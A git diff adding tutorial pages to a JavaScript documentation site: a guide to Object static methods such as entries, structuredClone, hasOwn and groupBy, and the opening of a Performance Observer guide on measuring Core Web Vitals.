title="MutationObserver in JS is INCREDIBLY Powerful" icon="video" href="https://www.youtube.com/watch?v=S8AWt70JMhQ"> + Advanced tutorial covering how frameworks like React and Angular use MutationObserver internally. Great for interview prep and deeper understanding. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/object-methods.mdx b/docs/beyond/concepts/object-methods.mdx new file mode 100644 index 00000000..2abafa14 --- /dev/null +++ b/docs/beyond/concepts/object-methods.mdx @@ -0,0 +1,785 @@ +--- +title: "Object Methods: Inspecting and Transforming Objects in JavaScript" +sidebarTitle: "Object Methods: Inspect & Transform" +description: "Learn JavaScript Object methods. Master Object.keys(), values(), entries(), assign(), structuredClone(), hasOwn(), and groupBy() for object manipulation." +--- + +How do you loop through an object's properties? How do you transform an object's keys? Or create a true copy of an object without unexpected side effects? + +JavaScript's `Object` constructor comes with a powerful toolkit of static methods that let you inspect, iterate, transform, and clone objects. Once you know them, you'll reach for them constantly. + +```javascript +const user = { name: 'Alice', age: 30, city: 'NYC' } + +// Get all keys, values, or key-value pairs +Object.keys(user) // ['name', 'age', 'city'] +Object.values(user) // ['Alice', 30, 'NYC'] +Object.entries(user) // [['name', 'Alice'], ['age', 30], ['city', 'NYC']] + +// Transform and rebuild +const upperKeys = Object.fromEntries( + Object.entries(user).map(([key, value]) => [key.toUpperCase(), value]) +) +// { NAME: 'Alice', AGE: 30, CITY: 'NYC' } +``` + +<Info> +**What you'll learn in this guide:** +- How to iterate objects with [`Object.keys()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys), [`Object.values()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/values), and [`Object.entries()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/entries) +- How to transform objects using [`Object.fromEntries()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/fromEntries) +- Shallow vs deep cloning with [`Object.assign()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) and [`structuredClone()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/structuredClone) +- Safe property checking with [`Object.hasOwn()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwn) +- Precise equality with [`Object.is()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is) +- Grouping data with [`Object.groupBy()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/groupBy) (ES2024) +- When to use each method in real-world scenarios +</Info> + +--- + +## What are Object Methods? + +**Object methods** are static functions on JavaScript's built-in `Object` constructor that let you inspect, manipulate, and transform objects. Unlike instance methods you call on the object itself (like `toString()`), these are called on `Object` directly with the target object passed as an argument. + +```javascript +const product = { name: 'Laptop', price: 999 } + +// Static method: called on Object +Object.keys(product) // ['name', 'price'] + +// Instance method: called on the object +product.toString() // '[object Object]' +``` + +Think of `Object` as a toolbox sitting next to your workbench. You don't modify the toolbox itself. You reach into it, grab a tool, and use it on whatever object you're working with. + +--- + +## The Toolbox Analogy + +Imagine you have a filing cabinet (your object) and a set of tools for working with it: + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ THE OBJECT TOOLBOX │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ YOUR OBJECT (Filing Cabinet) THE TOOLS (Object.*) │ +│ ┌─────────────────────┐ ┌────────────────────────────┐ │ +│ │ name: "Alice" │ │ keys() → list labels │ │ +│ │ age: 30 │ ────► │ values() → list contents │ │ +│ │ city: "NYC" │ │ entries() → list both │ │ +│ └─────────────────────┘ │ assign() → copy/merge │ │ +│ │ hasOwn() → check exists │ │ +│ │ groupBy() → organize │ │ +│ └────────────────────────────┘ │ +│ │ +│ You don't modify the toolbox. You use the tools ON your object. │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Iteration Methods: keys, values, entries + +These three methods convert an object into an array you can loop over or transform. + +### Object.keys() + +Returns an array of the object's own enumerable property **names** (keys). + +```javascript +const user = { name: 'Alice', age: 30, city: 'NYC' } + +const keys = Object.keys(user) +console.log(keys) // ['name', 'age', 'city'] + +// Loop through keys +for (const key of Object.keys(user)) { + console.log(key) // 'name', 'age', 'city' +} +``` + +### Object.values() + +Returns an array of the object's own enumerable property **values**. + +```javascript +const user = { name: 'Alice', age: 30, city: 'NYC' } + +const values = Object.values(user) +console.log(values) // ['Alice', 30, 'NYC'] + +// Sum all numeric values +const scores = { math: 95, science: 88, history: 92 } +const total = Object.values(scores).reduce((sum, score) => sum + score, 0) +console.log(total) // 275 +``` + +### Object.entries() + +Returns an array of `[key, value]` pairs. This is the most versatile of the three. + +```javascript +const user = { name: 'Alice', age: 30, city: 'NYC' } + +const entries = Object.entries(user) +console.log(entries) +// [['name', 'Alice'], ['age', 30], ['city', 'NYC']] + +// Destructure in a loop +for (const [key, value] of Object.entries(user)) { + console.log(`${key}: ${value}`) +} +// name: Alice +// age: 30 +// city: NYC +``` + +### Quick Comparison + +| Method | Returns | Use When | +|--------|---------|----------| +| `Object.keys(obj)` | `['key1', 'key2', ...]` | You only need the property names | +| `Object.values(obj)` | `[value1, value2, ...]` | You only need the values | +| `Object.entries(obj)` | `[['key1', value1], ...]` | You need both keys and values | + +<Note> +All three methods only return **own** enumerable properties. They skip inherited properties from the prototype chain and non-enumerable properties. See [Property Descriptors](/beyond/concepts/property-descriptors) for more on enumerability. +</Note> + +--- + +## Transforming Objects with fromEntries() + +[`Object.fromEntries()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/fromEntries) is the inverse of `Object.entries()`. It takes an iterable of `[key, value]` pairs and builds an object. + +```javascript +const entries = [['name', 'Alice'], ['age', 30]] +const user = Object.fromEntries(entries) +console.log(user) // { name: 'Alice', age: 30 } +``` + +The real power comes from combining `entries()` and `fromEntries()` with array methods like `map()` and `filter()`. + +### Transform Object Keys + +```javascript +const user = { name: 'Alice', age: 30, city: 'NYC' } + +// Convert all keys to uppercase +const upperCased = Object.fromEntries( + Object.entries(user).map(([key, value]) => [key.toUpperCase(), value]) +) +console.log(upperCased) // { NAME: 'Alice', AGE: 30, CITY: 'NYC' } +``` + +### Filter Object Properties + +```javascript +const product = { name: 'Laptop', price: 999, inStock: true, sku: 'LP001' } + +// Keep only string values +const stringsOnly = Object.fromEntries( + Object.entries(product).filter(([key, value]) => typeof value === 'string') +) +console.log(stringsOnly) // { name: 'Laptop', sku: 'LP001' } +``` + +### Convert a Map to an Object + +```javascript +const map = new Map([ + ['name', 'Alice'], + ['role', 'Admin'] +]) + +const obj = Object.fromEntries(map) +console.log(obj) // { name: 'Alice', role: 'Admin' } +``` + +<Tip> +**The Transform Pipeline:** `Object.entries()` → array methods → `Object.fromEntries()` is a powerful pattern. It's like `map()` for objects. +</Tip> + +--- + +## Cloning and Merging Objects + +JavaScript objects are assigned by reference. When you need a separate copy, you have several options. + +### Object.assign() — Shallow Copy and Merge + +[`Object.assign()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) copies all enumerable own properties from source objects to a target object. + +```javascript +const target = { a: 1 } +const source = { b: 2 } + +Object.assign(target, source) +console.log(target) // { a: 1, b: 2 } +``` + +For cloning, use an empty object as the target: + +```javascript +const original = { name: 'Alice', age: 30 } +const clone = Object.assign({}, original) + +clone.name = 'Bob' +console.log(original.name) // 'Alice' — original unchanged +``` + +**Merge multiple objects:** + +```javascript +const defaults = { theme: 'light', fontSize: 14 } +const userPrefs = { theme: 'dark' } + +const settings = Object.assign({}, defaults, userPrefs) +console.log(settings) // { theme: 'dark', fontSize: 14 } +``` + +<Warning> +**Shallow copy only!** Nested objects are still shared by reference: + +```javascript +const original = { + name: 'Alice', + address: { city: 'NYC' } +} + +const clone = Object.assign({}, original) +clone.address.city = 'LA' + +console.log(original.address.city) // 'LA' — both changed! +``` +</Warning> + +### structuredClone() — Deep Copy + +[`structuredClone()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/structuredClone) creates a true deep copy, including nested objects. It was added to browsers and Node.js in 2022. + +```javascript +const original = { + name: 'Alice', + address: { city: 'NYC' } +} + +const clone = structuredClone(original) +clone.address.city = 'LA' + +console.log(original.address.city) // 'NYC' — original unchanged! +``` + +**It also handles:** +- Circular references +- Most built-in types (Date, Map, Set, ArrayBuffer, etc.) + +```javascript +const data = { + date: new Date('2024-01-01'), + items: new Set([1, 2, 3]) +} + +const clone = structuredClone(data) +console.log(clone.date instanceof Date) // true +console.log(clone.items instanceof Set) // true +``` + +<Warning> +**structuredClone() cannot clone:** +- Functions +- DOM nodes +- Property descriptors (getters/setters become plain values) +- Prototype chain (you get plain objects) + +```javascript +const obj = { + greet: () => 'Hello' // Function +} + +structuredClone(obj) // Throws: DataCloneError +``` +</Warning> + +### Shallow vs Deep: When to Use Each + +| Method | Depth | Speed | Use When | +|--------|-------|-------|----------| +| `Object.assign()` | Shallow | Fast | Merging objects, no nested objects | +| Spread `{...obj}` | Shallow | Fast | Quick clone, no nested objects | +| `structuredClone()` | Deep | Slower | Nested objects that must be independent | + +--- + +## Object.hasOwn() — Safe Property Checking + +[`Object.hasOwn()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwn) checks if an object has a property as its own (not inherited). It's the modern replacement for `hasOwnProperty()`. + +```javascript +const user = { name: 'Alice', age: 30 } + +console.log(Object.hasOwn(user, 'name')) // true +console.log(Object.hasOwn(user, 'toString')) // false (inherited) +console.log(Object.hasOwn(user, 'email')) // false (doesn't exist) +``` + +### Why Not Just Use hasOwnProperty()? + +`Object.hasOwn()` is safer in two situations: + +**1. Objects with null prototype:** + +```javascript +const nullProto = Object.create(null) +nullProto.id = 1 + +// hasOwnProperty doesn't exist on null-prototype objects! +nullProto.hasOwnProperty('id') // TypeError! + +// Object.hasOwn works fine +Object.hasOwn(nullProto, 'id') // true +``` + +**2. Objects that override hasOwnProperty:** + +```javascript +const sneaky = { + hasOwnProperty: () => false // Someone overrode it! +} + +sneaky.hasOwnProperty('hasOwnProperty') // false (wrong!) +Object.hasOwn(sneaky, 'hasOwnProperty') // true (correct!) +``` + +<Tip> +**Modern best practice:** Use `Object.hasOwn()` instead of `obj.hasOwnProperty()`. It's more robust and reads more clearly. +</Tip> + +--- + +## Object.is() — Precise Equality + +[`Object.is()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is) compares two values for same-value equality. It's like `===` but handles two edge cases differently. + +```javascript +// Same as === +Object.is(5, 5) // true +Object.is('hello', 'hello') // true +Object.is({}, {}) // false (different references) + +// Different from === +Object.is(NaN, NaN) // true (=== returns false!) +Object.is(0, -0) // false (=== returns true!) +``` + +### When to Use Object.is() + +You rarely need it, but it's essential when: + +- Detecting `NaN` values (though `Number.isNaN()` is usually clearer) +- Distinguishing `+0` from `-0` (rare mathematical scenarios) +- Implementing equality checks in libraries + +```javascript +// NaN comparison +const value = NaN + +value === NaN // false (always!) +Object.is(value, NaN) // true +Number.isNaN(value) // true (preferred for this case) + +// Zero comparison +const positiveZero = 0 +const negativeZero = -0 + +positiveZero === negativeZero // true +Object.is(positiveZero, negativeZero) // false +``` + +--- + +## Object.groupBy() — Grouping Data (ES2024) + +[`Object.groupBy()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/groupBy) groups array elements by the result of a callback function. It's brand new in ES2024. + +```javascript +const inventory = [ + { name: 'apples', type: 'fruit', quantity: 5 }, + { name: 'bananas', type: 'fruit', quantity: 3 }, + { name: 'carrots', type: 'vegetable', quantity: 10 }, + { name: 'broccoli', type: 'vegetable', quantity: 7 } +] + +const byType = Object.groupBy(inventory, item => item.type) + +console.log(byType) +// { +// fruit: [ +// { name: 'apples', type: 'fruit', quantity: 5 }, +// { name: 'bananas', type: 'fruit', quantity: 3 } +// ], +// vegetable: [ +// { name: 'carrots', type: 'vegetable', quantity: 10 }, +// { name: 'broccoli', type: 'vegetable', quantity: 7 } +// ] +// } +``` + +### Custom Grouping Logic + +The callback can return any string to use as the group key: + +```javascript +const products = [ + { name: 'Laptop', price: 999 }, + { name: 'Mouse', price: 29 }, + { name: 'Monitor', price: 399 }, + { name: 'Keyboard', price: 89 } +] + +const byPriceRange = Object.groupBy(products, product => { + if (product.price < 50) return 'budget' + if (product.price < 200) return 'mid-range' + return 'premium' +}) + +console.log(byPriceRange) +// { +// premium: [{ name: 'Laptop', price: 999 }, { name: 'Monitor', price: 399 }], +// budget: [{ name: 'Mouse', price: 29 }], +// 'mid-range': [{ name: 'Keyboard', price: 89 }] +// } +``` + +<Warning> +**Browser compatibility:** `Object.groupBy()` is new (March 2024). Check [Can I Use](https://caniuse.com/mdn-javascript_builtins_object_groupby) before using in production. For older environments, use a polyfill or Lodash's `groupBy()`. +</Warning> + +--- + +## Inspection Methods + +These methods reveal more details about an object's properties. + +### Object.getOwnPropertyNames() + +Returns all own property names, **including non-enumerable ones**: + +```javascript +const arr = [1, 2, 3] + +Object.keys(arr) // ['0', '1', '2'] +Object.getOwnPropertyNames(arr) // ['0', '1', '2', 'length'] +``` + +### Object.getOwnPropertySymbols() + +Returns all own Symbol-keyed properties: + +```javascript +const id = Symbol('id') +const obj = { + name: 'Alice', + [id]: 12345 +} + +Object.keys(obj) // ['name'] +Object.getOwnPropertySymbols(obj) // [Symbol(id)] +``` + +--- + +## Object Protection Methods + +For controlling what can be done to an object, see [Property Descriptors](/beyond/concepts/property-descriptors). Here's a quick reference: + +| Method | Add Properties | Delete Properties | Modify Values | +|--------|---------------|-------------------|---------------| +| Normal object | Yes | Yes | Yes | +| `Object.preventExtensions()` | No | Yes | Yes | +| `Object.seal()` | No | No | Yes | +| `Object.freeze()` | No | No | No | + +```javascript +const config = { apiUrl: 'https://api.example.com' } + +Object.freeze(config) +config.apiUrl = 'https://evil.com' // Silently fails +console.log(config.apiUrl) // 'https://api.example.com' +``` + +--- + +## Object.create() — Creating with a Prototype + +For creating objects with a specific prototype, see [Object Creation & Prototypes](/concepts/object-creation-prototypes). Brief example: + +```javascript +const personProto = { + greet() { return `Hi, I'm ${this.name}` } +} + +const alice = Object.create(personProto) +alice.name = 'Alice' +console.log(alice.greet()) // "Hi, I'm Alice" +``` + +--- + +## Common Patterns and Where They're Used + +### Data Transformation Pipelines + +Common in React/Redux for transforming state: + +```javascript +// Normalize an API response into a lookup object +const users = [ + { id: 1, name: 'Alice' }, + { id: 2, name: 'Bob' } +] + +const usersById = Object.fromEntries( + users.map(user => [user.id, user]) +) +// { 1: { id: 1, name: 'Alice' }, 2: { id: 2, name: 'Bob' } } +``` + +### Configuration Merging + +Common in libraries and frameworks: + +```javascript +function createClient(userOptions = {}) { + const defaults = { + timeout: 5000, + retries: 3, + baseUrl: 'https://api.example.com' + } + + const options = Object.assign({}, defaults, userOptions) + // ... use options +} +``` + +### Safe Property Access in APIs + +```javascript +function processData(data) { + if (Object.hasOwn(data, 'userId')) { + // Safe to use data.userId + } +} +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **`Object.keys()`, `values()`, `entries()`** — Convert objects to arrays for iteration and transformation. + +2. **`Object.fromEntries()`** — Builds an object from key-value pairs. Combine with `entries()` for object transformations. + +3. **`Object.assign()` is shallow** — Only the top level is copied. Nested objects are still shared references. + +4. **`structuredClone()` is deep** — Creates a true independent copy, including nested objects. + +5. **`Object.hasOwn()` beats `hasOwnProperty()`** — Works on null-prototype objects and can't be overridden. + +6. **`Object.is()` handles NaN and -0** — Use it when strict equality (`===`) isn't enough. + +7. **`Object.groupBy()` is ES2024** — Check browser support before using without a polyfill. + +8. **These are static methods** — Called as `Object.method(obj)`, not `obj.method()`. + +9. **Only own enumerable properties** — `keys()`, `values()`, and `entries()` skip inherited and non-enumerable properties. + +10. **Spread `{...obj}` is just shallow** — Same as `Object.assign({}, obj)`. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="What's the difference between Object.keys() and Object.getOwnPropertyNames()?"> + **Answer:** + + `Object.keys()` returns only **enumerable** own properties. + `Object.getOwnPropertyNames()` returns **all** own properties, including non-enumerable ones. + + ```javascript + const arr = [1, 2, 3] + + Object.keys(arr) // ['0', '1', '2'] + Object.getOwnPropertyNames(arr) // ['0', '1', '2', 'length'] + // 'length' is non-enumerable + ``` + </Accordion> + + <Accordion title="How do you deep clone an object with nested objects?"> + **Answer:** + + Use `structuredClone()` for a true deep copy: + + ```javascript + const original = { + user: { name: 'Alice' } + } + + const clone = structuredClone(original) + clone.user.name = 'Bob' + + console.log(original.user.name) // 'Alice' — unchanged + ``` + + Note: `structuredClone()` can't clone functions or DOM nodes. + </Accordion> + + <Accordion title="Why does Object.is(NaN, NaN) return true but NaN === NaN returns false?"> + **Answer:** + + `===` follows IEEE 754 floating-point rules where NaN is not equal to anything, including itself. This is technically correct for numeric comparison but often counterintuitive. + + `Object.is()` uses "same-value equality" which treats NaN as equal to NaN, matching what most developers expect. + + ```javascript + NaN === NaN // false (IEEE 754 rule) + Object.is(NaN, NaN) // true (same-value equality) + ``` + </Accordion> + + <Accordion title="Why should you use Object.hasOwn() instead of hasOwnProperty()?"> + **Answer:** + + Two reasons: + + 1. **Null-prototype objects** don't have `hasOwnProperty`: + ```javascript + const obj = Object.create(null) + obj.hasOwnProperty('key') // TypeError! + Object.hasOwn(obj, 'key') // Works fine + ``` + + 2. **Objects can override hasOwnProperty**: + ```javascript + const obj = { hasOwnProperty: () => false } + obj.hasOwnProperty('hasOwnProperty') // false (wrong!) + Object.hasOwn(obj, 'hasOwnProperty') // true (correct!) + ``` + </Accordion> + + <Accordion title="How do you transform all keys of an object to uppercase?"> + **Answer:** + + Use `Object.entries()`, `map()`, and `Object.fromEntries()`: + + ```javascript + const obj = { name: 'Alice', age: 30 } + + const upperKeys = Object.fromEntries( + Object.entries(obj).map(([key, value]) => [key.toUpperCase(), value]) + ) + + console.log(upperKeys) // { NAME: 'Alice', AGE: 30 } + ``` + </Accordion> + + <Accordion title="What does Object.groupBy() return and when was it added?"> + **Answer:** + + `Object.groupBy()` returns a null-prototype object where each property is an array of elements that match that group key. It was added in ES2024 (March 2024). + + ```javascript + const items = [ + { type: 'fruit', name: 'apple' }, + { type: 'fruit', name: 'banana' }, + { type: 'veggie', name: 'carrot' } + ] + + const grouped = Object.groupBy(items, item => item.type) + // { + // fruit: [{ type: 'fruit', name: 'apple' }, { type: 'fruit', name: 'banana' }], + // veggie: [{ type: 'veggie', name: 'carrot' }] + // } + ``` + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Property Descriptors" icon="sliders" href="/beyond/concepts/property-descriptors"> + Control property behavior with writable, enumerable, and configurable flags. + </Card> + <Card title="Getters & Setters" icon="arrows-rotate" href="/beyond/concepts/getters-setters"> + Create computed properties that run code on access. + </Card> + <Card title="Proxy & Reflect" icon="shield" href="/beyond/concepts/proxy-reflect"> + Intercept and customize fundamental object operations. + </Card> + <Card title="Object Creation & Prototypes" icon="sitemap" href="/concepts/object-creation-prototypes"> + Different ways to create objects and how inheritance works. + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Object — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"> + Complete reference for the Object constructor and all its static methods. + </Card> + <Card title="Object.keys() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys"> + Official documentation for extracting object keys as an array. + </Card> + <Card title="Object.groupBy() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/groupBy"> + Reference for the new ES2024 grouping method with browser compatibility info. + </Card> + <Card title="structuredClone() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/structuredClone"> + Documentation for deep cloning with the structured clone algorithm. + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="Object.keys, values, entries — javascript.info" icon="newspaper" href="https://javascript.info/keys-values-entries"> + Clear explanation of the iteration trio with practical exercises. Covers the difference between plain objects and Map/Set iteration methods. + </Card> + <Card title="Deep-copying in JavaScript using structuredClone — web.dev" icon="newspaper" href="https://web.dev/articles/structured-clone"> + Explains why structuredClone() was added and how it compares to JSON.parse/stringify. Includes performance considerations and limitations. + </Card> + <Card title="Object.hasOwn() — Better than hasOwnProperty" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwn"> + MDN's explanation of why hasOwn() is preferred, with examples of edge cases where hasOwnProperty() fails. + </Card> + <Card title="Working with Objects — MDN Guide" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_objects"> + Comprehensive MDN guide covering object fundamentals, methods, and common patterns. + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="JavaScript Object Methods You Should Know — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=Jb3lsNAAXOE"> + Quick overview of essential Object methods with clear examples. Great for visual learners who want a fast introduction. + </Card> + <Card title="Deep Clone vs Shallow Clone — Fireship" icon="video" href="https://www.youtube.com/watch?v=4Ej0LwjCDZQ"> + Concise explanation of cloning strategies in JavaScript. Covers the gotchas of shallow copying and when you need structuredClone(). + </Card> + <Card title="Object.groupBy() in JavaScript — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=mIivxRMXDMw"> + Tutorial on the new ES2024 groupBy method with practical use cases for data organization. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/performance-observer.mdx b/docs/beyond/concepts/performance-observer.mdx new file mode 100644 index 00000000..810a76c4 --- /dev/null +++ b/docs/beyond/concepts/performance-observer.mdx @@ -0,0 +1,1025 @@ +--- +title: "Performance Observer: Monitor Web Performance in JavaScript" +sidebarTitle: "Performance Observer" +description: "Learn the Performance Observer API in JavaScript. Understand how to measure page performance, track Long Tasks, monitor layout shifts, and collect Core Web Vitals metrics for real user monitoring." +--- + +How do you know if your website is actually fast for real users? You might run Lighthouse once, but what about the thousands of visitors with different devices, network conditions, and usage patterns? Without real-time performance monitoring, you're flying blind. + +```javascript +// Monitor every resource loaded on your page +const observer = new PerformanceObserver((list) => { + list.getEntries().forEach((entry) => { + console.log(`${entry.name}: ${entry.duration.toFixed(2)}ms`) + }) +}) + +observer.observe({ type: 'resource', buffered: true }) + +// Output: +// https://example.com/app.js: 245.30ms +// https://example.com/styles.css: 89.50ms +// https://example.com/hero.webp: 412.80ms +``` + +The **[Performance Observer API](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver)** lets you monitor performance metrics as they happen in real-time. Instead of polling for data, you subscribe to specific performance events and get notified when they occur. This is the foundation of Real User Monitoring (RUM) and how tools like Google Analytics measure Core Web Vitals. + +<Info> +**What you'll learn in this guide:** +- What Performance Observer is and why it replaced older APIs +- The different entry types you can observe (resource, paint, longtask, etc.) +- How to measure Core Web Vitals (LCP, CLS, INP, FCP, TTFB) +- Using the `buffered` option to capture historical entries +- Building a simple Real User Monitoring (RUM) solution +- Common patterns and best practices for production +- The web-vitals library for simplified metrics collection +</Info> + +<Warning> +**Prerequisite:** This guide assumes familiarity with [Callbacks](/concepts/callbacks) and the [Event Loop](/concepts/event-loop). Performance Observer uses callback-based subscriptions and interacts with the browser's timing mechanisms. +</Warning> + +--- + +## What is Performance Observer? + +**Performance Observer** is a browser API that asynchronously observes performance measurement events and notifies you when new performance entries are recorded in the browser's performance timeline. It provides a non-blocking way to collect performance metrics without impacting the user experience. + +Think of Performance Observer like a security camera system. Instead of constantly checking every room for activity (polling), cameras automatically record and alert you when motion is detected. Similarly, Performance Observer automatically notifies your code when performance events occur, without you having to repeatedly ask "did anything happen yet?" + +```javascript +// Create an observer with a callback function +const observer = new PerformanceObserver((list, observer) => { + // Called whenever new performance entries are recorded + const entries = list.getEntries() + + entries.forEach((entry) => { + console.log(`Entry type: ${entry.entryType}`) + console.log(`Name: ${entry.name}`) + console.log(`Start time: ${entry.startTime}`) + console.log(`Duration: ${entry.duration}`) + }) +}) + +// Start observing specific entry types +observer.observe({ entryTypes: ['resource', 'navigation'] }) +``` + +### Why Performance Observer Exists + +Before Performance Observer, developers used three methods on the `performance` object: + +```javascript +// ❌ OLD WAY: Polling-based approaches +performance.getEntries() // Get all entries +performance.getEntriesByName(name) // Get entries by name +performance.getEntriesByType(type) // Get entries by type + +// Problems: +// 1. You have to keep calling these methods (polling) +// 2. You might miss entries between polls +// 3. No way to know when new entries are added +// 4. Blocks the main thread while processing +``` + +Performance Observer solves these problems: + +```javascript +// ✅ NEW WAY: Event-driven approach +const observer = new PerformanceObserver((list) => { + // Automatically called when new entries are recorded + list.getEntries().forEach(processEntry) +}) + +observer.observe({ type: 'resource', buffered: true }) + +// Benefits: +// 1. Non-blocking - callbacks fire during idle time +// 2. Never miss entries - you're notified automatically +// 3. Better performance - no polling overhead +// 4. Can capture entries that happened before observing +``` + +<CardGroup cols={2}> + <Card title="Performance Observer — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver"> + Complete API reference with methods, properties, and browser compatibility + </Card> + <Card title="Performance API Overview — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Performance_API"> + Understanding the broader Performance API ecosystem + </Card> +</CardGroup> + +--- + +## Performance Entry Types + +Performance Observer can observe many different types of entries. Each type captures specific performance data: + +```javascript +// Check which entry types your browser supports +console.log(PerformanceObserver.supportedEntryTypes) + +// Output (Chrome): +// ['element', 'event', 'first-input', 'largest-contentful-paint', +// 'layout-shift', 'longtask', 'mark', 'measure', 'navigation', +// 'paint', 'resource', 'visibility-state'] +``` + +### Entry Type Reference + +| Entry Type | Description | Use Case | +|------------|-------------|----------| +| `resource` | Network requests for scripts, styles, images, etc. | Track asset loading times | +| `navigation` | Page navigation timing | Measure page load performance | +| `paint` | First Paint and First Contentful Paint | Track rendering milestones | +| `largest-contentful-paint` | LCP metric (Core Web Vital) | Measure loading performance | +| `layout-shift` | Visual stability changes | Calculate CLS (Core Web Vital) | +| `longtask` | Tasks blocking main thread >50ms | Identify performance bottlenecks | +| `first-input` | First user interaction timing | Measure FID (deprecated, use INP) | +| `event` | User interaction events | Calculate INP (Core Web Vital) | +| `mark` | Custom performance marks | Create custom timing points | +| `measure` | Custom performance measures | Measure custom code sections | + +### Observing Resource Timing + +Resource timing tells you exactly how long each network request takes: + +```javascript +const resourceObserver = new PerformanceObserver((list) => { + list.getEntries().forEach((entry) => { + // Basic timing + console.log(`Resource: ${entry.name}`) + console.log(`Duration: ${entry.duration}ms`) + + // Detailed breakdown + const dns = entry.domainLookupEnd - entry.domainLookupStart + const tcp = entry.connectEnd - entry.connectStart + const ttfb = entry.responseStart - entry.requestStart + const download = entry.responseEnd - entry.responseStart + + console.log(`DNS lookup: ${dns}ms`) + console.log(`TCP connection: ${tcp}ms`) + console.log(`Time to First Byte: ${ttfb}ms`) + console.log(`Download: ${download}ms`) + }) +}) + +resourceObserver.observe({ type: 'resource', buffered: true }) +``` + +### Observing Navigation Timing + +Navigation timing captures the full page load lifecycle: + +```javascript +const navObserver = new PerformanceObserver((list) => { + const entry = list.getEntries()[0] // Only one navigation entry per page + + // Key metrics + const dns = entry.domainLookupEnd - entry.domainLookupStart + const tcp = entry.connectEnd - entry.connectStart + const ttfb = entry.responseStart - entry.startTime + const domParsing = entry.domInteractive - entry.responseEnd + const domComplete = entry.domComplete - entry.startTime + const loadComplete = entry.loadEventEnd - entry.startTime + + console.log(`DNS: ${dns}ms`) + console.log(`TCP: ${tcp}ms`) + console.log(`TTFB: ${ttfb}ms`) + console.log(`DOM Parsing: ${domParsing}ms`) + console.log(`DOM Complete: ${domComplete}ms`) + console.log(`Full Load: ${loadComplete}ms`) +}) + +navObserver.observe({ type: 'navigation', buffered: true }) +``` + +### Observing Paint Timing + +Paint timing tracks when the browser first renders content: + +```javascript +const paintObserver = new PerformanceObserver((list) => { + list.getEntries().forEach((entry) => { + console.log(`${entry.name}: ${entry.startTime}ms`) + }) +}) + +paintObserver.observe({ type: 'paint', buffered: true }) + +// Output: +// first-paint: 245.5ms +// first-contentful-paint: 312.8ms +``` + +--- + +## Measuring Core Web Vitals + +Core Web Vitals are Google's essential metrics for user experience. Performance Observer is how you measure them in the field. + +### Largest Contentful Paint (LCP) + +LCP measures loading performance — specifically, when the largest content element becomes visible. + +```javascript +// Measure LCP (target: < 2.5 seconds) +const lcpObserver = new PerformanceObserver((list) => { + const entries = list.getEntries() + // LCP can change until user interacts, so always use the latest + const lastEntry = entries[entries.length - 1] + + console.log(`LCP: ${lastEntry.startTime}ms`) + console.log(`Element:`, lastEntry.element) + console.log(`Size: ${lastEntry.size}`) + + // Rate the score + if (lastEntry.startTime <= 2500) { + console.log('Rating: Good') + } else if (lastEntry.startTime <= 4000) { + console.log('Rating: Needs Improvement') + } else { + console.log('Rating: Poor') + } +}) + +lcpObserver.observe({ type: 'largest-contentful-paint', buffered: true }) +``` + +### Cumulative Layout Shift (CLS) + +CLS measures visual stability — how much the page layout shifts unexpectedly. + +```javascript +// Measure CLS (target: < 0.1) +let clsValue = 0 + +const clsObserver = new PerformanceObserver((list) => { + list.getEntries().forEach((entry) => { + // Only count shifts without recent user input + if (!entry.hadRecentInput) { + clsValue += entry.value + console.log(`Layout shift: ${entry.value}`) + console.log(`Cumulative CLS: ${clsValue}`) + } + }) +}) + +clsObserver.observe({ type: 'layout-shift', buffered: true }) + +// Report final CLS when page is hidden +document.addEventListener('visibilitychange', () => { + if (document.visibilityState === 'hidden') { + console.log(`Final CLS: ${clsValue}`) + 